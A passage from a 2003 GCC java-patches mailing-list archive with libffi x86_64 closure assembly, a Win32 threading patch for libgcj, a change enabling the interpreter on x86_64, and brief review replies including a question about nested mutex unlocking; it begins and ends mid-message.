movl $0, -224(%rbp) ! movl $48, -220(%rbp) ! leaq 16(%rbp), %rax ! movq %rax, -216(%rbp) ! leaq -176(%rbp), %rdx ! movq %rdx, -208(%rbp) ! leaq -224(%rbp), %rsi ! movq %r10, %rdi ! movq %rsp, %rdx ! call ffi_closure_UNIX64_inner@PLT ! ! cmpl $FFI_TYPE_FLOAT, %eax ! je 1f ! cmpl $FFI_TYPE_DOUBLE, %eax ! je 2f ! cmpl $FFI_TYPE_LONGDOUBLE, %eax ! je 3f ! cmpl $FFI_TYPE_STRUCT, %eax ! je 4f ! popq %rax ! leave ! ret ! 1: ! 2: ! 3: ! movaps -240(%rbp), %xmm0 ! leave ! ret ! 4: ! leave ! ret ! .LFE2: ! .section .eh_frame,"a",@progbits .Lframe0: *************** sse2floatfloat: *** 205,208 **** --- 279,302 ---- .align 8 .LEFDE1: + .LSFDE3: + .long .LEFDE3-.LASFDE3 # FDE Length + .LASFDE3: + .long .LASFDE3-.Lframe0 # FDE CIE offset + + .long .LFB2-. # FDE initial location + .long .LFE2-.LFB2 # FDE address range + .uleb128 0x0 # Augmentation size + .byte 0x4 # DW_CFA_advance_loc4 + .long .LCFI10-.LFB2 + .byte 0xe # DW_CFA_def_cfa_offset + .uleb128 0x10 + .byte 0x86 # DW_CFA_offset, column 0x6 + .uleb128 0x2 + .byte 0x4 # DW_CFA_advance_loc4 + .long .LCFI11-.LCFI10 + .byte 0xd # DW_CFA_def_cfa_register + .uleb128 0x6 + .align 8 + .LEFDE3: #endif /* __x86_64__ */ From java-patches-return-5920-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 27 17:49:29 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27261 invoked by alias); 27 Jan 2003 17:49:29 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27245 invoked from network); 27 Jan 2003 17:49:28 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 27 Jan 2003 17:49:28 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18dDMG-0003KZ-00 for ; Mon, 27 Jan 2003 18:47:44 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18dDME-0003KK-00 for ; Mon, 27 Jan 2003 18:47:42 +0100 From: Ranjit Mathew Subject: Re: Patch for Review: PR/9254 and other Win32 Threading Fixes Date: Mon, 27 Jan 2003 23:21:18 +0530 Lines: 302 Message-ID: <3E357196.6010902@hotmail.com> References: <3E2F9C87.60306@hotmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org Cc: adam@megacz.com User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en In-Reply-To: <3E2F9C87.60306@hotmail.com> Ranjit Mathew wrote: > This patch proposes to clean up the Win32 threads support in > libgcj a bit and contains fixes for a few problems reported > on the main list. These include: Resubmitting in "diff -u2" format on Adam's request: -------------------------------- 8< -------------------------------- 2003-01-27 Ranjit Mathew * include/win32-threads.h (_Jv_Mutex_t): Convert to a struct containing id of the owner thread as well. (_Jv_MutexInit): Initialise owner thread id to 0. (_Jv_MutexDestroy): Reset owner thread id to 0. (_Jv_MutexUnlock): Check if really the owner thread, reset owner thread id to 0 before leaving. (_Jv_MutexLock): Set owner thread id in the mutex. (_Jv_ThreadYield): Yield using Win32 Sleep(0). * win32-threads.cc (_Jv_CondWait): Check if really owner of the passed mutex. Pass handle of broadcast event, instead of a pointer to it in Win32 ResetEvent( ) call. Remove incorrect return values. (_Jv_CondDestroy): Close both event handles and delete critical section. (_Jv_CondNotify): Check if really the owner thread. (_Jv_CondNotifyAll): Check if really the owner thread. (_Jv_InitThreads): Change daemon_cond to a manual-reset event. (really_start): Use SetEvent( ) to signal daemon_cond. (_Jv_ThreadWait): Remove SignalObjectAndWait( ) and use WaitForSingleObject( ) instead to wait for daemon_cond to be signalled. --- include/win32-threads.h 2003-01-14 20:23:56.000000000 +0530 +++ include/win32-threads.h 2003-01-27 20:57:05.000000000 +0530 @@ -2,5 +2,6 @@ // win32-threads.h - Defines for using Win32 threads. -/* Copyright (C) 1998, 1999, 2000 Free Software Foundation +/* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software + Foundation This file is part of libgcj. @@ -19,11 +20,27 @@ // -typedef struct _Jv_ConditionVariable_t { +typedef struct +{ + // ev[0] (signal) is a Win32 auto-reset event for _Jv_CondNotify + // ev[1] (broadcast) is a Win32 manual-reset event for _Jv_CondNotifyAll HANDLE ev[2]; - CRITICAL_SECTION count_mutex; + + // Number of threads waiting on this condition variable int blocked_count; -}; -typedef CRITICAL_SECTION _Jv_Mutex_t; + // Protects access to the blocked_count variable + CRITICAL_SECTION count_mutex; + +} _Jv_ConditionVariable_t; + +typedef struct +{ + // The thread-id of the owner thread if any, 0 otherwise + DWORD owner; + + // The actual Windows construct used to implement this mutex + CRITICAL_SECTION cs; + +} _Jv_Mutex_t; typedef struct @@ -61,5 +78,6 @@ inline void _Jv_MutexInit (_Jv_Mutex_t *mu) { - InitializeCriticalSection(mu); + mu->owner = 0UL; + InitializeCriticalSection (&(mu->cs)); } @@ -67,5 +85,6 @@ inline void _Jv_MutexDestroy (_Jv_Mutex_t *mu) { - DeleteCriticalSection(mu); + mu->owner = 0UL; + DeleteCriticalSection (&(mu->cs)); mu = NULL; } @@ -73,11 +92,18 @@ inline int _Jv_MutexUnlock (_Jv_Mutex_t *mu) { - LeaveCriticalSection(mu); - return 0; + if (mu->owner == GetCurrentThreadId ( )) + { + mu->owner = 0UL; + LeaveCriticalSection (&(mu->cs)); + return 0; + } + else + return 1; } inline int _Jv_MutexLock (_Jv_Mutex_t *mu) { - EnterCriticalSection(mu); + EnterCriticalSection (&(mu->cs)); + mu->owner = GetCurrentThreadId ( ); return 0; } @@ -105,7 +131,5 @@ inline void _Jv_ThreadYield (void) { - // FIXME: win98 freezes hard (OS hang) when we use this -- - // for now, we simply don't yield - // Sleep (0); + Sleep (0); } --- win32-threads.cc 2003-01-14 20:23:53.000000000 +0530 +++ win32-threads.cc 2003-01-27 20:51:24.000000000 +0530 @@ -1,5 +1,6 @@ // win32-threads.cc - interface between libjava and Win32 threads. -/* Copyright (C) 1998, 1999 Free Software Foundation, Inc. +/* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software + Foundation, Inc. This file is part of libgcj. @@ -71,10 +72,12 @@ ensure_condvar_initialized(_Jv_ConditionVariable_t *cv) { - if (cv->ev[0] == 0) { - cv->ev[0] = CreateEvent (NULL, 0, 0, NULL); - if (cv->ev[0] == 0) JvFail("CreateEvent() failed"); - cv->ev[1] = CreateEvent (NULL, 1, 0, NULL); - if (cv->ev[1] == 0) JvFail("CreateEvent() failed"); - } + if (cv->ev[0] == 0) + { + cv->ev[0] = CreateEvent (NULL, 0, 0, NULL); + if (cv->ev[0] == 0) JvFail("CreateEvent() failed"); + + cv->ev[1] = CreateEvent (NULL, 1, 0, NULL); + if (cv->ev[1] == 0) JvFail("CreateEvent() failed"); + } } @@ -86,9 +89,11 @@ _Jv_CondWait(_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *mu, jlong millis, jint nanos) { + if (mu->owner != GetCurrentThreadId ( )) + return _JV_NOT_OWNER; - EnterCriticalSection(&cv->count_mutex); - ensure_condvar_initialized(cv); + EnterCriticalSection (&cv->count_mutex); + ensure_condvar_initialized (cv); cv->blocked_count++; - LeaveCriticalSection(&cv->count_mutex); + LeaveCriticalSection (&cv->count_mutex); DWORD time; @@ -103,16 +108,15 @@ EnterCriticalSection(&cv->count_mutex); cv->blocked_count--; - // If we were unblocked by the second event (the broadcast one) and nobody is - // left, then reset the signal. - int last_waiter = rval == WAIT_OBJECT_0 + 1 && cv->blocked_count == 0; + // If we were unblocked by the second event (the broadcast one) + // and nobody is left, then reset the event. + int last_waiter = (rval == (WAIT_OBJECT_0 + 1)) && (cv->blocked_count == 0); LeaveCriticalSection(&cv->count_mutex); - if (last_waiter) ResetEvent(&cv->ev[1]); + if (last_waiter) + ResetEvent (cv->ev[1]); _Jv_MutexLock (mu); - if (rval == WAIT_FAILED) return GetLastError(); - else if (rval == WAIT_TIMEOUT) return ETIMEDOUT; - else return 0; + return 0; } @@ -122,5 +126,5 @@ // we do lazy creation of Events since CreateEvent() is insanely expensive cv->ev[0] = 0; - InitializeCriticalSection(&cv->count_mutex); + InitializeCriticalSection (&cv->count_mutex); cv->blocked_count = 0; } @@ -129,30 +133,49 @@ _Jv_CondDestroy (_Jv_ConditionVariable_t *cv) { - if (cv->ev[0] != 0) CloseHandle(cv->ev[0]); + if (cv->ev[0] != 0) + { + CloseHandle (cv->ev[0]); + CloseHandle (cv->ev[1]); + + cv->ev[0] = 0; + } + + DeleteCriticalSection (&cv->count_mutex); + cv = NULL; } int -_Jv_CondNotify (_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *) +_Jv_CondNotify (_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *mu) { - EnterCriticalSection(&cv->count_mutex); - ensure_condvar_initialized(cv); + if (mu->owner != GetCurrentThreadId ( )) + return _JV_NOT_OWNER; + + EnterCriticalSection (&cv->count_mutex); + ensure_condvar_initialized (cv); int somebody_is_blocked = cv->blocked_count > 0; - LeaveCriticalSection(&cv->count_mutex); + LeaveCriticalSection (&cv->count_mutex); + + if (somebody_is_blocked) + SetEvent (cv->ev[0]); - if (somebody_is_blocked) return SetEvent (cv->ev[0]) ? 0 : GetLastError(); - else return 0; + return 0; } int -_Jv_CondNotifyAll (_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *) +_Jv_CondNotifyAll (_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *mu) { - EnterCriticalSection(&cv->count_mutex); - ensure_condvar_initialized(cv); + if (mu->owner != GetCurrentThreadId ( )) + return _JV_NOT_OWNER; + + EnterCriticalSection (&cv->count_mutex); + ensure_condvar_initialized (cv); int somebody_is_blocked = cv->blocked_count > 0; - LeaveCriticalSection(&cv->count_mutex); + LeaveCriticalSection (&cv->count_mutex); - if (somebody_is_blocked) return SetEvent (cv->ev[1]) ? 0 : GetLastError(); - else return 0; + if (somebody_is_blocked) + SetEvent (cv->ev[1]); + + return 0; } @@ -166,6 +189,6 @@ _Jv_ThreadKey = TlsAlloc(); _Jv_ThreadDataKey = TlsAlloc(); - daemon_mutex = CreateMutex(NULL, 0, NULL); - daemon_cond = CreateEvent(NULL, 0, 0, NULL); + daemon_mutex = CreateMutex (NULL, 0, NULL); + daemon_cond = CreateEvent (NULL, 1, 0, NULL); non_daemon_count = 0; } @@ -256,5 +279,5 @@ non_daemon_count--; if (! non_daemon_count) - PulseEvent (daemon_cond); + SetEvent (daemon_cond); ReleaseMutex (daemon_mutex); } @@ -298,8 +321,10 @@ _Jv_ThreadWait (void) { - WaitForSingleObject(daemon_mutex, INFINITE); - if(non_daemon_count) - SignalObjectAndWait(daemon_mutex, daemon_cond, INFINITE, 0); - ReleaseMutex(daemon_mutex); + WaitForSingleObject (daemon_mutex, INFINITE); + if (non_daemon_count) + { + ReleaseMutex (daemon_mutex); + WaitForSingleObject (daemon_cond, INFINITE); + } } -------------------------------- 8< -------------------------------- Sincerely Yours, Ranjit. -- Ranjit Mathew Email: rmathew AT hotmail DOT com Bangalore, INDIA. Web: http://ranjitmathew.tripod.com/ From java-patches-return-5921-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 27 17:53:43 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31315 invoked by alias); 27 Jan 2003 17:53:43 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31302 invoked from network); 27 Jan 2003 17:53:43 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 27 Jan 2003 17:53:43 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-4.rdu.redhat.com [172.16.50.4]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 1428BABAF8; Mon, 27 Jan 2003 17:53:40 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0RHrcG03420; Mon, 27 Jan 2003 17:53:38 GMT Date: Mon, 27 Jan 2003 17:53:38 GMT Message-Id: <200301271753.h0RHrcG03420@cuddles.cambridge.redhat.com> From: Andrew Haley To: java-patches@gcc.gnu.org Subject: Enable interpreter for x86_64 Test Run By aph on Mon Jan 27 16:52:20 2003 Native configuration is x86_64-unknown-linux-gnu === libjava tests === Schedule of variations: unix Running target unix Using /usr/share/dejagnu/baseboards/unix.exp as board description file for target. Using /usr/share/dejagnu/config/unix.exp as generic interface file for target. Using /home/aph/gcc/gcc/libjava/testsuite/config/default.exp as tool-and-target-specific interface file. Running /home/aph/gcc/gcc/libjava/testsuite/libjava.compile/compile.exp ... FAIL: PR1343 compilation from bytecode FAIL: PR1343 -O compilation from bytecode Running /home/aph/gcc/gcc/libjava/testsuite/libjava.jacks/jacks.exp ... Running /home/aph/gcc/gcc/libjava/testsuite/libjava.jni/jni.exp ... Running /home/aph/gcc/gcc/libjava/testsuite/libjava.lang/lang.exp ... FAIL: pr8823 compilation from bytecode FAIL: pr8823 -O compilation from bytecode Running /home/aph/gcc/gcc/libjava/testsuite/libjava.loader/loader.exp ... Running /home/aph/gcc/gcc/libjava/testsuite/libjava.mauve/mauve.exp ... === libjava Summary === # of expected passes 2919 # of unexpected failures 4 # of expected failures 14 # of untested testcases 12 2003-01-27 Andrew Haley * configure.host (x86_64): Enable interpreter. Index: configure.host =================================================================== RCS file: /cvs/gcc/gcc/libjava/configure.host,v retrieving revision 1.44 diff -u -r1.44 configure.host --- configure.host 22 Jan 2003 17:50:38 -0000 1.44 +++ configure.host 27 Jan 2003 17:47:30 -0000 @@ -99,11 +99,11 @@ CHECKREFSPEC="%{m32:-fcheck-references}" sysdeps_dir=x86-64 libgcj_flags="${libgcj_flags} -ffloat-store" - libgcj_interpreter=no libgcj_cxxflags="-D__NO_MATH_INLINES" libgcj_cflags="-D__NO_MATH_INLINES" enable_hash_synchronization_default=yes slow_pthread_self=yes + libgcj_interpreter=yes ;; alpha*-*) sysdeps_dir=alpha From java-patches-return-5922-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 27 18:00:20 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7695 invoked by alias); 27 Jan 2003 18:00:20 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7676 invoked from network); 27 Jan 2003 18:00:19 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 27 Jan 2003 18:00:19 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-4.rdu.redhat.com [172.16.50.4]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 80FEAABAF8; Mon, 27 Jan 2003 18:00:17 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0RI0CC03436; Mon, 27 Jan 2003 18:00:12 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15925.29612.875874.479161@cuddles.cambridge.redhat.com> Date: Mon, 27 Jan 2003 18:00:12 +0000 (GMT) To: java-patches@gcc.gnu.org Subject: Enable interpreter for x86_64 In-Reply-To: <200301271753.h0RHrcG03420@cuddles.cambridge.redhat.com> References: <200301271753.h0RHrcG03420@cuddles.cambridge.redhat.com> Is ours the first Java released for the Hammer processor? If that's the case, perhaps we should make an announcement. Andrew. From java-patches-return-5923-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 27 18:12:15 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15019 invoked by alias); 27 Jan 2003 18:12:15 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15005 invoked from network); 27 Jan 2003 18:12:14 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 27 Jan 2003 18:12:14 -0000 Received: from fleche.redhat.com (tq0215.peakpeak.com [207.174.177.215]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA07555; Mon, 27 Jan 2003 11:12:10 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 2A6DA4F8073; Mon, 27 Jan 2003 11:07:33 -0700 (MST) To: Andrew Haley Cc: java-patches@gcc.gnu.org, gcc-patches@gcc.gnu.org Subject: Re: Libffi: closures for x86_64 References: <200301271745.h0RHjNj03409@cuddles.cambridge.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: ...Just enough time to do my LIBERACE impression... Date: 27 Jan 2003 11:07:32 -0700 In-Reply-To: <200301271745.h0RHjNj03409@cuddles.cambridge.redhat.com> Message-ID: <877kcq4gbf.fsf@fleche.redhat.com> Lines: 8 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Andrew" == Andrew Haley writes: Andrew> This isn't complete -- it doesn't support passing structs or long Andrew> doubles -- but it's enough for Java. This deserves a Java news entry. Tom From java-patches-return-5924-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 27 18:13:04 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15617 invoked by alias); 27 Jan 2003 18:13:04 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15604 invoked from network); 27 Jan 2003 18:13:04 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 27 Jan 2003 18:13:04 -0000 Received: from fleche.redhat.com (tq0215.peakpeak.com [207.174.177.215]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA07729; Mon, 27 Jan 2003 11:12:50 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id B3F484F8073; Mon, 27 Jan 2003 11:08:12 -0700 (MST) To: "Kaveh R. Ghazi" Cc: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: Patch to XFAIL libjava.lang/pr8823.java References: <200301271456.JAA02937@caip.rutgers.edu> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: OVER the undertow! UNDER the overpass! Around the FUTURE and BEYOND REPAIR!! Date: 27 Jan 2003 11:08:12 -0700 In-Reply-To: <200301271456.JAA02937@caip.rutgers.edu> Message-ID: <873cne4gab.fsf@fleche.redhat.com> Lines: 9 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Kaveh" == Kaveh R Ghazi writes: Kaveh> The libjava.lang/pr8823.java failure is not a regression, so I've Kaveh> added an XFAIL for it. Tested on sparc-sun-solaris2.7. Kaveh> Ok for trunk and 3.3? Yes, thanks. Tom From java-patches-return-5925-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 27 21:22:41 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 12371 invoked by alias); 27 Jan 2003 21:22:40 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 12230 invoked from network); 27 Jan 2003 21:22:39 -0000 Received: from unknown (HELO Cantor.suse.de) (213.95.15.193) by 172.16.49.205 with SMTP; 27 Jan 2003 21:22:39 -0000 Received: from Hermes.suse.de (Hermes.suse.de [213.95.15.136]) by Cantor.suse.de (Postfix) with ESMTP id 9C989146FE; Mon, 27 Jan 2003 22:22:37 +0100 (MET) Received: from aj by arthur.inka.de with local (Exim 3.34 #1) id 18dGiC-0007Fs-00; Mon, 27 Jan 2003 22:22:36 +0100 Mail-Copies-To: never To: Andrew Haley Cc: java-patches@gcc.gnu.org, gcc-patches@gcc.gnu.org Subject: Re: Libffi: closures for x86_64 From: Andreas Jaeger Date: Mon, 27 Jan 2003 22:22:36 +0100 In-Reply-To: <200301271745.h0RHjNj03409@cuddles.cambridge.redhat.com> (Andrew Haley's message of "Mon, 27 Jan 2003 17:45:23 GMT") Message-ID: User-Agent: Gnus/5.090015 (Oort Gnus v0.15) XEmacs/21.4 (Artificial Intelligence, i386-suse-linux) References: <200301271745.h0RHjNj03409@cuddles.cambridge.redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Andrew Haley writes: > This isn't complete -- it doesn't support passing structs or long > doubles -- but it's enough for Java. Thanks! Does it mean we can enable the java interpreter now? Andreas -- Andreas Jaeger SuSE Labs aj@suse.de private aj@arthur.inka.de http://www.suse.de/~aj From java-patches-return-5926-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 27 21:52:10 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24239 invoked by alias); 27 Jan 2003 21:52:09 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24231 invoked from network); 27 Jan 2003 21:52:09 -0000 Received: from unknown (HELO deimos.hpl.hp.com) (192.6.19.190) by 172.16.49.205 with SMTP; 27 Jan 2003 21:52:09 -0000 Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33]) by deimos.hpl.hp.com (8.9.3 (PHNE_24419)/HPL-PA Relay) with ESMTP id NAA04287; Mon, 27 Jan 2003 13:52:08 -0800 (PST) Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182]) by hplms2.hpl.hp.com (8.10.2/8.10.2 HPL-PA Hub) with SMTP id h0RLq7d14031; Mon, 27 Jan 2003 13:52:07 -0800 (PST) Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Mon, 27 Jan 2003 13:52:06 -0800 Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2653.19) id ; Mon, 27 Jan 2003 13:52:06 -0800 Message-ID: <75A9FEBA25015040A761C1F74975667DA13623@hplex4.hpl.hp.com> From: "Boehm, Hans" To: "'Ranjit Mathew'" Cc: adam@megacz.com, java-patches@gcc.gnu.org Subject: RE: Patch for Review: PR/9254 and other Win32 Threading Fixes Date: Mon, 27 Jan 2003 13:52:05 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Doesn't this reset the owner field to zero even for a nested _Jv_MutexUnlock call? I suspect you need a count field to correctly maintain the owner field, unless you can somehow get at the one that's already inside the CriticalSection. Hans > -----Original Message----- > From: Ranjit Mathew [mailto:rmathew@hotmail.com] > Sent: Monday, January 27, 2003 9:51 AM > To: java-patches@gcc.gnu.org > Cc: adam@megacz.com > Subject: Re: Patch for Review: PR/9254 and other Win32 Threading Fixes > > > Ranjit Mathew wrote: > > This patch proposes to clean up the Win32 threads support in > > libgcj a bit and contains fixes for a few problems reported > > on the main list. These include: > > > Resubmitting in "diff -u2" format on Adam's request: > > -------------------------------- 8< -------------------------------- > 2003-01-27 Ranjit Mathew > > * include/win32-threads.h (_Jv_Mutex_t): Convert to a struct > containing id of the owner thread as well. > (_Jv_MutexInit): Initialise owner thread id to 0. > (_Jv_MutexDestroy): Reset owner thread id to 0. > (_Jv_MutexUnlock): Check if really the owner thread, reset > owner thread id to 0 before leaving. > (_Jv_MutexLock): Set owner thread id in the mutex. > (_Jv_ThreadYield): Yield using Win32 Sleep(0). > > * win32-threads.cc (_Jv_CondWait): Check if really owner of > the passed mutex. > Pass handle of broadcast event, instead of a pointer to it > in Win32 ResetEvent( ) call. > Remove incorrect return values. > (_Jv_CondDestroy): Close both event handles and delete > critical section. > (_Jv_CondNotify): Check if really the owner thread. > (_Jv_CondNotifyAll): Check if really the owner thread. > (_Jv_InitThreads): Change daemon_cond to a > manual-reset event. > (really_start): Use SetEvent( ) to signal daemon_cond. > (_Jv_ThreadWait): Remove SignalObjectAndWait( ) and use > WaitForSingleObject( ) instead to wait for daemon_cond to be > signalled. > > --- include/win32-threads.h 2003-01-14 20:23:56.000000000 +0530 > +++ include/win32-threads.h 2003-01-27 20:57:05.000000000 +0530 > @@ -2,5 +2,6 @@ > // win32-threads.h - Defines for using Win32 threads. > > -/* Copyright (C) 1998, 1999, 2000 Free Software Foundation > +/* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software > + Foundation > > This file is part of libgcj. > @@ -19,11 +20,27 @@ > // > > -typedef struct _Jv_ConditionVariable_t { > +typedef struct > +{ > + // ev[0] (signal) is a Win32 auto-reset event for _Jv_CondNotify > + // ev[1] (broadcast) is a Win32 manual-reset event for > _Jv_CondNotifyAll > HANDLE ev[2]; > - CRITICAL_SECTION count_mutex; > + > + // Number of threads waiting on this condition variable > int blocked_count; > -}; > > -typedef CRITICAL_SECTION _Jv_Mutex_t; > + // Protects access to the blocked_count variable > + CRITICAL_SECTION count_mutex; > + > +} _Jv_ConditionVariable_t; > + > +typedef struct > +{ > + // The thread-id of the owner thread if any, 0 otherwise > + DWORD owner; > + > + // The actual Windows construct used to implement this mutex > + CRITICAL_SECTION cs; > + > +} _Jv_Mutex_t; > > typedef struct > @@ -61,5 +78,6 @@ > inline void _Jv_MutexInit (_Jv_Mutex_t *mu) > { > - InitializeCriticalSection(mu); > + mu->owner = 0UL; > + InitializeCriticalSection (&(mu->cs)); > } > > @@ -67,5 +85,6 @@ > inline void _Jv_MutexDestroy (_Jv_Mutex_t *mu) > { > - DeleteCriticalSection(mu); > + mu->owner = 0UL; > + DeleteCriticalSection (&(mu->cs)); > mu = NULL; > } > @@ -73,11 +92,18 @@ > inline int _Jv_MutexUnlock (_Jv_Mutex_t *mu) > { > - LeaveCriticalSection(mu); > - return 0; > + if (mu->owner == GetCurrentThreadId ( )) > + { > + mu->owner = 0UL; > + LeaveCriticalSection (&(mu->cs)); > + return 0; > + } > + else > + return 1; > } > > inline int _Jv_MutexLock (_Jv_Mutex_t *mu) > { > - EnterCriticalSection(mu); > + EnterCriticalSection (&(mu->cs)); > + mu->owner = GetCurrentThreadId ( ); > return 0; > } > @@ -105,7 +131,5 @@ > inline void _Jv_ThreadYield (void) > { > - // FIXME: win98 freezes hard (OS hang) when we use this -- > - // for now, we simply don't yield > - // Sleep (0); > + Sleep (0); > } > > --- win32-threads.cc 2003-01-14 20:23:53.000000000 +0530 > +++ win32-threads.cc 2003-01-27 20:51:24.000000000 +0530 > @@ -1,5 +1,6 @@ > // win32-threads.cc - interface between libjava and Win32 threads. > > -/* Copyright (C) 1998, 1999 Free Software Foundation, Inc. > +/* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software > + Foundation, Inc. > > This file is part of libgcj. > @@ -71,10 +72,12 @@ > ensure_condvar_initialized(_Jv_ConditionVariable_t *cv) > { > - if (cv->ev[0] == 0) { > - cv->ev[0] = CreateEvent (NULL, 0, 0, NULL); > - if (cv->ev[0] == 0) JvFail("CreateEvent() failed"); > - cv->ev[1] = CreateEvent (NULL, 1, 0, NULL); > - if (cv->ev[1] == 0) JvFail("CreateEvent() failed"); > - } > + if (cv->ev[0] == 0) > + { > + cv->ev[0] = CreateEvent (NULL, 0, 0, NULL); > + if (cv->ev[0] == 0) JvFail("CreateEvent() failed"); > + > + cv->ev[1] = CreateEvent (NULL, 1, 0, NULL); > + if (cv->ev[1] == 0) JvFail("CreateEvent() failed"); > + } > } > > @@ -86,9 +89,11 @@ > _Jv_CondWait(_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *mu, > jlong millis, jint nanos) > { > + if (mu->owner != GetCurrentThreadId ( )) > + return _JV_NOT_OWNER; > > - EnterCriticalSection(&cv->count_mutex); > - ensure_condvar_initialized(cv); > + EnterCriticalSection (&cv->count_mutex); > + ensure_condvar_initialized (cv); > cv->blocked_count++; > - LeaveCriticalSection(&cv->count_mutex); > + LeaveCriticalSection (&cv->count_mutex); > > DWORD time; > @@ -103,16 +108,15 @@ > EnterCriticalSection(&cv->count_mutex); > cv->blocked_count--; > - // If we were unblocked by the second event (the broadcast > one) and nobody is > - // left, then reset the signal. > - int last_waiter = rval == WAIT_OBJECT_0 + 1 && > cv->blocked_count == 0; > + // If we were unblocked by the second event (the broadcast one) > + // and nobody is left, then reset the event. > + int last_waiter = (rval == (WAIT_OBJECT_0 + 1)) && > (cv->blocked_count == 